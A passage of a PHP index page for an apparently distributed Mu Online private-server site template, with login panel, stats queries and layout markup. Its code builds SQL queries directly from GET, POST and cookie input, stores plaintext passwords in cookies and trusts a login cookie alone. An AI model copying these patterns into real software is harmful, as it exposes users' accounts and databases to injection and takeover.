<?php
require_once "sql_inject.php"; 
$bDestroy_session = TRUE; 
$url_redirect = 'index.php'; 
$sqlinject = new sql_inject('./log_file_sql.log',$bDestroy_session,$url_redirect)  ; 
require 'config.php';

$query = "select count(*) from Guild";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$guilds = $row[0];
$Guilds=mssql_fetch_row(mssql_query("select count(*) from guild"));
$Vips=mssql_fetch_row(mssql_query("select count(*) from memb_info where vip=1"));

$Jogando=mssql_fetch_row(mssql_query("select count(*) from memb_stat where connectstat>0"));
$query = "select count(*) from Character WHERE Resets>'0'";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$res3ts = $row[0];

$query = "select count(*) from Character WHERE ctlcode = '1'";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$banned = $row[0];

$query = "select count(*) from MEMB_INFO WHERE bloc_code = '1'";
$result = mssql_query( $query );
$row = mssql_fetch_row($result);
$bannedacc = $row[0];

// querys //

$idnoticia = $_GET['id'];
$PegaNoticia = mssql_query("SELECT Titulo,Data,Noticia,Por,Id,Tipo FROM Noticias WHERE Id='".$idnoticia."'");
$Exibe = mssql_fetch_row($PegaNoticia);

$Contas=mssql_fetch_row(mssql_query("select count(*) from memb_info"));
$Chares=mssql_fetch_row(mssql_query("select count(*) from character"));
$Jogando=mssql_fetch_row(mssql_query("select count(*) from memb_stat where connectstat>0"));
$Vips=mssql_fetch_row(mssql_query("select count(*) from memb_info where vip=1"));
$Guilds=mssql_fetch_row(mssql_query("select count(*) from guild"));
$Pks=mssql_fetch_row(mssql_query("select count(*) from character where pklevel>3"));
$Herois=mssql_fetch_row(mssql_query("select count(*) from character where pklevel<3"));
$L350=mssql_fetch_row(mssql_query("select count(*) from character where clevel=350"));
$Lorencia=mssql_fetch_row(mssql_query("select count(*) from character where mapnumber=0"));
$Stadium=mssql_fetch_row(mssql_query("select count(*) from character where mapnumber=6"));
if($_POST['prossegue_login']) {
$login = $_POST['login'];
$senha = $_POST['senha'];
$VerificaLogin = mssql_num_rows(mssql_query("select memb___id from memb_info where memb___id='".$login."'"));
$VerificaSenha = mssql_num_rows(mssql_query("select memb__pwd from memb_info where memb__pwd='".$senha."' and memb___id='".$login."'"));

	if(empty($login) || empty($senha)) {
	echo "<script>alert('Preencha todos os campos'); 
	location='javascript:history.back()'</script>";
	}
	elseif($VerificaLogin <= 0) {
	echo "<script>alert('Login ou Senha incorreto'); 
	location='javascript:history.back()'</script>";
	}
	elseif($VerificaSenha <= 0) {
	echo "<script>alert('Login ou Senha incorreto'); 
	location='javascript:history.back()'</script>";
	}
	else {
	setcookie("ckUserLogin",$login);
	setcookie("ckUserSenha",$senha);
	echo "<script>location='?i=painel'</script>";
	}
}
?>

<html>
<head>
<link href="css/styles.css" rel="stylesheet" type="text/css" />
<meta charset="utf-8">
<title>Mu Online - Voce nunca viu nada igual! ...</title>
<!-- AllanJPA AprendizMuonline.com.br -->
<!-- Projeto Drakula */WebCompleto! -->
<!-- Skype: AllanJPA  -->
 <!-- AUTORIZO ALTERAÇÃO DE CRÉDITOS SE O USUÁRIO DESEJAR. -->
<!-- AUTORIZO DISTRIBUIÇÃO EM QUALQUER LUGAR -->


<style type="text/css">
body {
	background-color: #000;
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	
}
.numero { 
FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#900
}
.nome { 
 FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#DBDBDB
}
.nome2 { 
 FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#DBDBDB
}
.nome3 { 
 FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#DBDBDB
}
.nick { 
 FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#900;
	font-style:bold
}
.exibir { 
 FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#093
}
.creditos {
	FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE: 11px;
	color: #FF0
}
.pontos { 
FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#999
}
.tituloscream { 
FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#900;
	font-style:bold
}
.aut { 
FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:10px;
	color:#666
}
.autor { 
FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:10px;
	color:#999
}
</style>
<style type="text/css">
a:link, a:visited {
	FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#999;
	text-decoration: none
	}
a:hover {
	FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	text-decoration: none; 
	color:#900
	}
a:active {
	FONT-FAMILY: Tahoma, Arial Narrow, Helvetica, sans-serif;
	FONT-SIZE:11px;
	color:#900;
	text-decoration: none
	}
</style>
<script>
/*
	Script desenvolvido por Leandro Martins - leandro.martins@sankhya.com.br
	Não permite seleção de campos especificados.
*/
var tagsAbertas =["input", "textarea", "select", "div"]; // CAMPOS QUE NAO SERAM BLOQUEADOS
tagsAbertas = tagsAbertas.join("|");

function fechaCamposFF(e){
var elemento = (e.target)?e.target:e.srcElement;
	if (tagsAbertas.indexOf(elemento.tagName.toLowerCase())==-1)
		return false;
}

function abreCamposFF(){
return true
}

function fechaCamposIE(){
var elemento = event.srcElement;
	if(tagsAbertas.indexOf(elemento.tagName.toLowerCase()) == -1)
		document.onselectstart = new Function ("return false");
}

function abreCamposIE(){
var elemento = event.srcElement;
	if(tagsAbertas.indexOf(elemento.tagName.toLowerCase()) == -1){
		document.onselectstart = new Function ("return false");
	}else{
		document.onselectstart = new Function ("return true");
	}
}

if (typeof document.onselectstart != "undefined"){
document.onmousedown	=	fechaCamposIE;
document.onmouseup		=	abreCamposIE;
document.onselectstart  = new Function ("return false");
}else{
document.onmousedown	=	fechaCamposFF;
document.onmouseup		=	abreCamposFF;
}
</script>
<script language="JavaScript">
 function blockError(){return true;}
 window.onerror = blockError;
 </script>
<script language=JavaScript>
 function disableselect(e) {
    return false
 } 
 function reEnable() {
    return true
 }
 //if IE4+
 document.onselectstart=new Function ("return false")
 //if NS6
 if (window.sidebar) { 
    document.onmousedown=disableselect
    document.onclick=reEnable
 }
 </script>
<SCRIPT language=JavaScript>
<!--

var message="Botão Direito Desativado";


function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function("alert(message);return false")

// --> 
</SCRIPT>


<script>
function MM_openBrWindow(theURL,winName,features) {
  window.open(theURL,winName,features);
}
function mouseDown(e) {
var shiftPressed=0;
if (parseInt(navigator.appVersion)>3) {
if (navigator.appName=="Netscape")
shiftPressed=(e.modifiers-0>3);
else shiftPressed=event.shiftKey;
if (shiftPressed) {
alert ('Shift esta desabilitado.')
return false;
}
}
return true;
}
if (parseInt(navigator.appVersion)>3) {
document.onmousedown = mouseDown;
if (navigator.appName=="Netscape")
document.captureEvents(Event.MOUSEDOWN);
}
 function blockError(){return true;}
 window.onerror = blockError;
 </script>
 <script language=JavaScript>
 function disableselect(e)
 {
    return false
 }
 function reEnable()
 {
    return true
 }
 document.onselectstart=new Function ("return false")
 if (window.sidebar)
 {
    document.onmousedown=disableselect
    document.onclick=reEnable
 }

var mensagem="Botão Direito Desativado";//protege o botao direito do mouse
function click(mouse) {
  if (document.all) {
     if (event.button==2||event.button==3) {
        alert(mensagem);
        return false;
     }
  }
  if (document.layers) {
     if (mouse.which == 3) {
        alert(mensagem);
        return false;
     }
  }
}
document.onmousedown=click;
document.onkeydown=keypressed;

function clearText(thefield){
if (thefield.defaultValue==thefield.value)
thefield.value = ""
} 
function ss(id) {


var left = 50;
var top = 50;

window.open('modulos/outros/verscreenshot.php?id='+id+'','SS', 'width=802, height=604, top='+top+', left='+left+', scrollbars=yes, status=no, toolbar=no, LOCATION=NO, directories=no, menubar=no, RESISABLE=NO, fullscreen=no');

}
</script>
<script language="JavaScript">
function abrir(URL) {
 
  var width = 500;
  var height = 550;
 
  var left = 99;
  var top = 99;
 
  window.open(URL,'janela', 'width='+width+', height='+height+', top='+top+', left='+left+', scrollbars=yes, status=no, toolbar=no, location=no, directories=no, menubar=no, resizable=no, fullscreen=no');
 
}
</script>
</head>
<style type="text/css">td img {display: block;}</style>
<body><table width="100%" border="0" cellpadding="0" cellspacing="0" background="imagens/setas_icones/BGCIMA.jpg">
  <tr>
    <td height="32">&nbsp;</td>
  </tr>
</table>

<table width="200" border="0" align="center" cellpadding="0" cellspacing="0">
    <td><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="1020">
      <!-- fwtable fwsrc="Sem título" fwpage="Página 1" fwbase="bbg.jpg" fwstyle="Dreamweaver" fwdocid = "1363078966" fwnested="1" -->
      <tr>
        <td align="right" valign="bottom"><table width="615" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td height="320" valign="top" background="bgh/bbg_r1_c1.jpg"><table width="500" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="33">&nbsp;</td>
                <td width="449">&nbsp;</td>
                <td width="18">&nbsp;</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td><img src="http://i.imgur.com/ER4VzzO.png"  alt=""/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
              </tr>
            </table></td>
          </tr>
        </table></td>
        <td><table style="display: inline-table;" align=""left" border="0" cellpadding="0" cellspacing="0" width="365">
          <tr>
            <td><img name="bbg_r1_c2" src="bgh/bbg_r1_c2.jpg" width="365" height="62" id="bbg_r1_c2" alt="" /></td>
          </tr>
          <tr>
            <td height="87" valign="top"><?
$divisao = "1";
$linha  = array_reverse ( file("dados/evento.txt")); //Abre o banco de dados
$total  = count($linha); //Conta as linhas
$paginas = ceil($total/$divisao)-1; //Faz a divisão

if (!$pagina)                  { $pagina = "0";    }
else if (!is_numeric($pagina)) { $pagina = "0";    }
else if ($pagina > $paginas)  { $pagina = "0";    }
else                          { $pagina = $pagina; }

$inicio = $pagina*$divisao;
$final  = $inicio+$divisao;
$final  = ($final > $total) ? $total : $final ;

for ($i = $inicio; $i < $final; $i++){
list($dado1,$dado2,$dado3,$dado4,$dado5,$dado6,$dado7,$dado8,$dado9,$dado10,$dado11,$dado12)=explode("|",$linha[$i]);
echo "<a href='evento.php' target='home'><img src='$dado2' width='365' height='87' border='0px'/></a>";


}
$anterior = $pagina-1;
$proxima  = $pagina+1;
$paginass = ($paginas <= "0") ? "1" : $paginas+1;



?></td>
          </tr>
          <tr>
            <td><img name="bbg_r3_c2" src="bgh/bbg_r3_c2.jpg" width="365" height="173" id="bbg_r3_c2" alt="" /></td>
          </tr>
        </table></td>
        <td><img name="bbg_r1_c3" src="bgh/bbg_r1_c3.jpg" width="40" height="322" id="bbg_r1_c3" alt="" /></td>
      </tr>
    </table>
    <tr></tr>
  <tr>
    <td valign="top"><table width="1020" border="0" cellpadding="0" cellspacing="0" style=" background:url(imagens/teste/rodape.jpg); background-position:bottom; background-repeat:no-repeat">
      <tr>
        <td width="270" height="1725" align="right" valign="top"><table width="100" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <TD><a href="cadastro.php" target="home"><img src="imagens/setas_icones/jogar.jpg"  alt="" width="208" height="44"/></a>
            <TR>
            <td valign="top"><font color="#333333">
              <? if(!isset($_COOKIE['ckUserLogin'])) {
		echo '<table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="229">
 <form name="frmpainel" method="post" onSubmit="CamposLogin();" action="" id="frmpainel">
  <tr> 
    <td width="21" rowspan="12"><img name="painel_r1_c1" src="imagens/imagens_projeto_drakula/painel_r1_c1.jpg" width="21" height="254" id="painel_r1_c1" alt="" /></td>
    <td colspan="3"><img name="n1" src="imagens/imagens_projeto_drakula/1.jpg" width="164" height="49" id="n1" alt="" /></td>
    <td width="47" rowspan="12"><img name="painel_r1_c5" src="imagens/imagens_projeto_drakula/painel_r1_c5.jpg" width="44" height="254" id="painel_r1_c5" alt="" /></td>
  </tr>
  <tr>
    <td height="35" colspan="3" align="center" background="imagens/imagens_projeto_drakula/2.jpg"><input name="login" type="text" class="textbox" id="login" style=" border:none; background-color:#000; color:#900" value="Login" size="15" maxlength="16" border="none"></td>
  </tr>
  <tr>
    <td colspan="3"><img name="n3" src="imagens/imagens_projeto_drakula/3.jpg" width="164" height="6" id="n3" alt="" /></td>
  </tr>
  <tr>
    <td height="37" colspan="3" align="center" background="imagens/imagens_projeto_drakula/4.jpg"><input name="senha" type="password" class="textbox" id="senha" style=" border:none; background-color:#000; color:#900" value="Senha" size="15" maxlength="16"></td>
  </tr>
  <tr>
    <td colspan="3"><img name="n5" src="imagens/imagens_projeto_drakula/5.jpg" width="164" height="6" id="n5" alt="" /></td>
  </tr>
  <tr>
    <td width="23"><img name="painel_r6_c2" src="imagens/imagens_projeto_drakula/painel_r6_c2.jpg" width="23" height="33" id="painel_r6_c2" alt="" /></td>
    <td width="97"><input name="prossegue_login" type="image" src="imagens/imagens_projeto_drakula/painel_r6_c3.jpg"  class="submit" id="prossegue_login" value="LOGAR"></td>
    <td width="44"><img name="painel_r6_c4" src="imagens/imagens_projeto_drakula/painel_r6_c4.jpg" width="44" height="33" id="painel_r6_c4" alt="" /></td>
  </tr>
  <tr>
    <td colspan="2"><img name="painel_r7_c2" src="imagens/imagens_projeto_drakula/painel_r7_c2.jpg" width="120" height="12" id="painel_r7_c2" alt="" /></td>
    <td rowspan="5"><img name="painel_r7_c4" src="imagens/imagens_projeto_drakula/painel_r7_c4.jpg" width="44" height="77" id="painel_r7_c4" alt="" /></td>
  </tr>
  <tr>
    <td colspan="2"><a href="cadastro.php" target="home"><img name="painel_r8_c2" src="imagens/imagens_projeto_drakula/painel_r8_c2.jpg" width="120" height="18" id="painel_r8_c2" alt="" /></a></td>
  </tr>
  <tr>
    <td colspan="2"><img name="painel_r9_c2" src="imagens/imagens_projeto_drakula/painel_r9_c2.jpg" width="120" height="8" id="painel_r9_c2" alt="" /></td>
  </tr>
  <tr>
    <td colspan="2"><a href="re_senha.php" target="home"><img name="painel_r10_c2" src="imagens/imagens_projeto_drakula/painel_r10_c2.jpg" width="120" height="21" id="painel_r10_c2" alt="" /></a></td>
  </tr>
  <tr>
    <td colspan="2"><img name="painel_r11_c2" src="imagens/imagens_projeto_drakula/painel_r11_c2.jpg" width="120" height="18" id="painel_r11_c2" alt="" /></td>
  </tr>
  <tr>
    <td colspan="3"><img name="n6" src="imagens/imagens_projeto_drakula/6.jpg" width="164" height="11" id="n6" alt="" /></td>
  </tr></form>
</table>'; }
		elseif(isset($_COOKIE['ckUserLogin'])) {
		$login = $_COOKIE['ckUserLogin'];
		$senha = $_COOKIE['ckUserSenha'];
		$tipoconta = mssql_fetch_row(mssql_query("select vip,creditos from memb_info where memb___id='".$login."'"));
		switch($tipoconta[1]) {
			case 1: $sintaxe = "dia";
				break;
			case 0: $sintaxe = "dia";
				break;
			default: $sintaxe = "dias";
		}
		switch($tipoconta[0]) {
			case 0: $tipodeconta = "Free"; 
				break;
			case 1: $tipodeconta = "Vip";
				break;
			case 2: $tipodeconta = "Vip2";
				break;
			case 3: $tipodeconta = "Vip3";
				break;
			default : $tipodeconta = "Error";
		}
		echo '<table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="228">
 <form name="frmpainel" method="post" onSubmit="CamposLogin();" action="" id="frmpainel">
  <tr>
   <td><img name="rage_r1_c1" src="mgp/rage_r1_c1.jpg" width="228" height="50" id="rage_r1_c1" alt="" /></td>
  </tr>
  <tr>
   <td><table style="display: inline-table;" align=""left" border="0" cellpadding="0" cellspacing="0" width="228">
	  <tr>
	   <td><img name="rage_r2_c1" src="mgp/rage_r2_c1.jpg" width="31" height="65" id="rage_r2_c1" alt="" /></td>
	   <td width="147" align="center" bgcolor="#0C0C0C"><table width="140" border="0" cellspacing="0" cellpadding="0">
	     <tr>
	       <td width="61"><font class="nome"><b>Logado :</b></font></td>
	       <td width="79"><font class="nick">'.$login.'</font></td>
	       </tr>
	     <tr>
	       <td><font class="nome">Tipo :</font></td>
	       <td><font class="nick">'.$tipodeconta.' '.$tipoconta[1].'  '.$tipoconta[2].'  '.$tipoconta[3].'  '.$sintaxe.'</font></td>
	       </tr>
	     <tr>
	       <td><font class="nome">Painel :</font> :</td>
	       <td><a href="painel/painel.php" target="home"><font color="#333333"><span class="exibir">[ Exibir ]</span></font></a></td>
	       </tr>
	     </table></td>
	   <td><img name="rage_r2_c5" src="mgp/rage_r2_c5.jpg" width="50" height="65" id="rage_r2_c5" alt="" /></td>
	  </tr>
	</table></td>
  </tr>
  <tr>
   <td><img name="rage_r3_c1" src="mgp/rage_r3_c1.jpg" width="228" height="14" id="rage_r3_c1" alt="" /></td>
  </tr>
  <tr>
   <td><table style="display: inline-table;" align=""left" border="0" cellpadding="0" cellspacing="0" width="228">
	  <tr>
	   <td><img name="rage_r4_c1" src="mgp/rage_r4_c1.jpg" width="45" height="34" id="rage_r4_c1" alt="" /></td>
	   <td><a href="sair.php"><img name="rage_r4_c3" src="mgp/rage_r4_c3.jpg" width="95" height="34" id="rage_r4_c3" alt="" /></a></td>
	   <td><img name="rage_r4_c4" src="mgp/rage_r4_c4.jpg" width="88" height="34" id="rage_r4_c4" alt="" /></td>
	  </tr>
	</table></td>
  </tr>
  <tr>
   <td><img name="rage_r5_c1" src="mgp/rage_r5_c1.jpg" width="228" height="86" id="rage_r5_c1" alt="" /></td>
  </tr></form>
</table>';
		}
		?>
            </font></td>
          </tr>
          <tr>
            <td><table width="100" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td><img name="menu_r1_c1" src="imagens/imagens_projeto_drakula/menu_r1_c1.jpg" width="203" height="91" id="menu_r1_c1" alt="" /></td>
                </tr>
              <tr>
                <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="11%" background="imagens/imagens_projeto_drakula/menu_r2_c1.jpg"><img name="menu_r2_c1" src="imagens/imagens_projeto_drakula/menu_r2_c1.jpg" width="21" height="189" id="menu_r2_c1" alt="" /></td>
                    <td width="78%" align="center" valign="top"><table width="147" border="0" cellpadding="0" cellspacing="0">
                      <tr>
                        <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                          <tr>
                            <td width="26">&nbsp;</td>
                            <td width="121"><a href="home.php" target="home">Pagina Inicial.</a></td>
                          </tr>
                        </table></td>
                      </tr>
                    </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="cadastro.php" target="home">Cadastre-se.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="downloads.php" target="home">Downloads.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="ran.php" target="home">Rankings.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="online.php" target="home">Players Conectados.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="faq.php" target="home">FAQ / Duvidas.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="loja.php" target="_self">Loja Virtual.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table>
                      <table width="147" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td height="25" background="imagens/setas_icones/brR3.png"><table width="147" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="26">&nbsp;</td>
                              <td width="121"><a href="info.php" target="home">+ Informacoes.</a></td>
                            </tr>
                          </table></td>
                        </tr>
                      </table></td>
                    <td width="11%" background="imagens/imagens_projeto_drakula/menu_r2_c3.jpg"><img name="menu_r2_c3" src="imagens/imagens_projeto_drakula/menu_r2_c3.jpg" width="22" height="189" id="menu_r2_c3" alt="" /></td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td><img name="menu_r3_c1" src="imagens/imagens_projeto_drakula/menu_r3_c1.jpg" width="203" height="22" id="menu_r3_c1" alt="" /></td>
              </tr>
            </table></td>
          </tr>
          <tr>
            <td ><p><a href="downloads.php" target="home"><img src="imagens/imagens_projeto_drakula/down.jpg" width="208" height="215"  alt=""/></a></p></td>
          </tr>
          <tr>
            <td><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="202">
              <!-- AllanJPA AprendizMuonline.com.br -->
              <tr>
                <td colspan="3"><img name="status_gm_r1_c1" src="imagens/imagens_projeto_drakula/status_gm_r1_c1.jpg" width="202" height="90" id="status_gm_r1_c1" alt="" /></td>
              </tr>
              <tr>
                <td rowspan="4" background="imagens/imagens_projeto_drakula/status_gm_r2_c1.jpg"><img name="status_gm_r2_c1" src="imagens/imagens_projeto_drakula/status_gm_r2_c1.jpg" width="19" height="142" id="status_gm_r2_c1" alt="" /></td>
                <td valign="top"><table width="162" border="0" align="center" cellpadding="0" cellspacing="0" background="imagens/imagens_projeto_drakula/status_gm_r2_c2.jpg">
                  <?
			$Queryadms = mssql_query("select top 4 name,accountid from character where ctlcode>=32 order by name");
			for($b=0;$b<mssql_num_rows($Queryadms);$b++) {
				$Gm = mssql_fetch_row($Queryadms);
				$status = mssql_fetch_row(mssql_query("select connectstat from memb_stat where memb___id='".$Gm[1]."'"));
				switch($status[0]) {
					case 0: $statusfinal = "<img title='offline' border='0' src='imagens/setas_icones/a_offline.jpg' >"; break;
					case 1: $statusfinal = "<img title='Online' border='0' src='imagens/setas_icones/a_online.jpg' >"; break;
				}
				?>
                  <tr>
                      <td width="39%" align="center">
                        <?=$statusfinal?>
                        </td>
                      <td width="61%" height="35">
                      <font class="nome"> &nbsp;&nbsp;&nbsp; <?=$Gm[0]?></font>
                    </td>
                    </tr>
                    <? } ?>
          </table></td>
                <td rowspan="4" valign="top" background="imagens/imagens_projeto_drakula/status_gm_r2_c3.jpg"><img name="status_gm_r2_c3" src="imagens/imagens_projeto_drakula/status_gm_r2_c3.jpg" width="21" height="142" id="status_gm_r2_c3" alt="" /></td>
              </tr>
              <tr></tr>
              <tr></tr>
              <tr></tr>
              <tr>
                <td colspan="3"><img name="status_gm_r6_c1" src="imagens/imagens_projeto_drakula/status_gm_r6_c1.jpg" width="202" height="19" id="status_gm_r6_c1" alt="" /></td>
              </tr>
            </table></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="354" valign="top" ><table width="209" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td height="354" valign="top" background="imagens/teste/evento.jpg"><table width="187" border="0" cellspacing="0" cellpadding="0">
                  <tr>
                    <td width="30">&nbsp;</td>
                    <td width="157">&nbsp;</td>
                  </tr>
                  <tr>
                    <td>&nbsp;</td>
                    <td class="nome2" style="color: #FFCC00; font-size: 16px;"><strong>Evento com<span class="nome3">&nbsp;<strong style="color: #FF6600">GM_Sailar</strong></span></strong></td>
                  </tr>
                  <tr>
                    <td>&nbsp;</td>
                    <td class="nome3">Hoje, as 20:35 Server 2</td>
                  </tr>
                  <tr>
                    <td>&nbsp;</td>
                    <td class="nome">&nbsp;</td>
                  </tr>
                </table></td>
              </tr>
            </table></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
        </table>
          </td>
        <td width="529" valign="top"><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="523">
        
              <td colspan="3"><img name="meio_r1_c1" src="imagens/imagens_projeto_drakula/meio_r1_c1.jpg" width="522" height="49" id="meio_r1_c1" alt="" /></td>
            <td><img src="imagens/imagens_projeto_drakula/spacer.gif" width="1" height="49" alt="" /></td>
          </tr>
          <tr>
            <td background="imagens/imagens_projeto_drakula/meio_r2_c1.jpg"><img name="meio_r2_c1" src="imagens/imagens_projeto_drakula/meio_r2_c1.jpg" width="39" height="437" id="meio_r2_c1" alt="" /></td>
            <td align="center" valign="top"><iframe src="home.php" name="home" width="440" height="440" frameborder="0" id="home" border="1"></iframe></td>
            <td background="imagens/imagens_projeto_drakula/meio_r2_c3.jpg"><img name="meio_r2_c3" src="imagens/imagens_projeto_drakula/meio_r2_c3.jpg" width="37" height="437" id="meio_r2_c3" alt="" /></td>
            <td><img src="imagens/imagens_projeto_drakula/spacer.gif" width="1" height="437" alt="" /></td>
          </tr>
          <tr>
            <td colspan="3"><img name="meio_r3_c1" src="imagens/imagens_projeto_drakula/meio_r3_c1.jpg" width="523" height="131" id="meio_r3_c1" alt="" /></td>
            <td><img src="imagens/imagens_projeto_drakula/spacer.gif" width="1" height="131" alt="" /></td>
          </tr>
        </table>
          <table width="100" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="523">
                <!-- AllanJPA AprendizMuonline.com.br -->
                <tr>
                  <td colspan="3"><img name="xat_r1_c1" src="imagens/imagens_projeto_drakula/xat_r1_c1.jpg" width="523" height="143" id="xat_r1_c1" alt="" /></td>
                </tr>
                <tr>
                  <td width="40"><img name="xat_r2_c1" src="imagens/imagens_projeto_drakula/xat_r2_c1.jpg" width="40" height="262" id="xat_r2_c1" alt="" /></td>
                  <td width="444"><embed wmode="transparent" src="http://www.xatech.com/web_gear/chat/chat.swf" quality="high" width="443" height="263" name="chat" FlashVars="id=216931293&rl=Brazilian" align="middle" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.php" /></td>
                  <td width="39"><img name="xat_r2_c3" src="imagens/imagens_projeto_drakula/xat_r2_c3.jpg" width="39" height="262" id="xat_r2_c3" alt="" /></td>
                </tr>
                <tr>
                  <td colspan="3"><img name="xat_r3_c1" src="imagens/imagens_projeto_drakula/xat_r3_c1.jpg" width="523" height="130" id="xat_r3_c1" alt="" /></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="523">
                  <!-- AllanJPA AprendizMuonline.com.br -->
                <tr>
                  <td><img name="scream_r1_c1" src="imagens/imagens_projeto_drakula/scream_r1_c1.jpg" width="56" height="110" id="scream_r1_c1" alt="" /></td>
                  <td><img name="scream_r1_c2" src="imagens/imagens_projeto_drakula/scream_r1_c2.jpg" width="283" height="110" id="scream_r1_c2" alt="" /></td>
                  <td><img name="scream_r1_c3" src="imagens/imagens_projeto_drakula/scream_r1_c3.jpg" width="184" height="110" id="scream_r1_c3" alt="" /></td>
                </tr>
                <tr>
                  <td><img name="scream_r2_c1" src="imagens/imagens_projeto_drakula/scream_r2_c1.jpg" width="56" height="148" id="scream_r2_c1" alt="" /></td>
                  <td align="right" valign="top"><table width="147" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td><?
$divisao = "1";
$linha  = array_reverse ( file("dados/scream.txt")); //Abre o banco de dados
$total  = count($linha); //Conta as linhas
$paginas = ceil($total/$divisao)-1; //Faz a divisão

if (!$pagina)                  { $pagina = "0";    }
else if (!is_numeric($pagina)) { $pagina = "0";    }
else if ($pagina > $paginas)  { $pagina = "0";    }
else                          { $pagina = $pagina; }

$inicio = $pagina*$divisao;
$final  = $inicio+$divisao;
$final  = ($final > $total) ? $total : $final ;

for ($i = $inicio; $i < $final; $i++){
list($dado1,$dado2,$dado3,$dado4,$dado5,$dado6,$dado7,$dado8,$dado9,$dado10,$dado11,$dado12)=explode("|",$linha[$i]);
echo "<table width='134' border='0' cellspacing='0'cellpadding='0'>
  <tr>
